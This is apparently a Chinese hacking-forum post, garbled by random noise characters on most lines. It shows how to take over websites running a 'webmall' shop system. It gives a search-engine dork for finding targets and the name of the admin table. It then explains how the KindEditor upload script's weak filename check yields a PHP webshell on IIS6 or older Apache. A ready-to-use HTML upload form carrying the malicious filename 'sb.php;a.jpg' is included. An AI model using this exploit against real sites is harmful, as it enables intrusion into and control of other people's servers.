关键字:inurl:webmall/detail.php?id9 W% r0 K/ u; E: R2 ^( p, F" j
6 z! S @! f, ]数据表:pwn_base_admin' s, h; m1 {2 i1 J3 n$ ]4 ~' |* X8 {" t
9 a7 x$ x* u% p3 U# c( |# b. B关于拿shell
' L# ?- ^- P( y( T( `9 l " d9 y0 t) N8 ^; C8 @
首先登录后台admin.php& t* k4 |3 B2 r( p& R1 N& m
0 t3 ]# c* K0 D2 I& }9 J5 Y
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。/ F: P& l( \5 l0 p: R% m
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg
! J9 W! p, ~, D7 T2 s4 d/ B, f然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的. H1 ~5 P2 i( ?- k a) Y- `
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> 6 e+ Y$ J9 A" F3 D
<input type="text" name="fileName" value="sb.php;a.jpg" /> ( r! [) c, a |% ]! F# O
<input type="hidden" name="attachPath" value="news/pics/" />
7 _0 a8 l4 v$ U<input type="file" name="fileData" size="14" /></td> 6 o. @ ~0 C$ j8 f1 c2 O
<input type="submit" name="button" value="确定" />
; D" H5 A7 Z# E" o& }</form>
: g/ V3 W! a( Z
' g$ n: f$ D% X Q+ U' o首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。4 T6 c K. a3 P! J; F
8 U5 n% J9 f9 O" l
|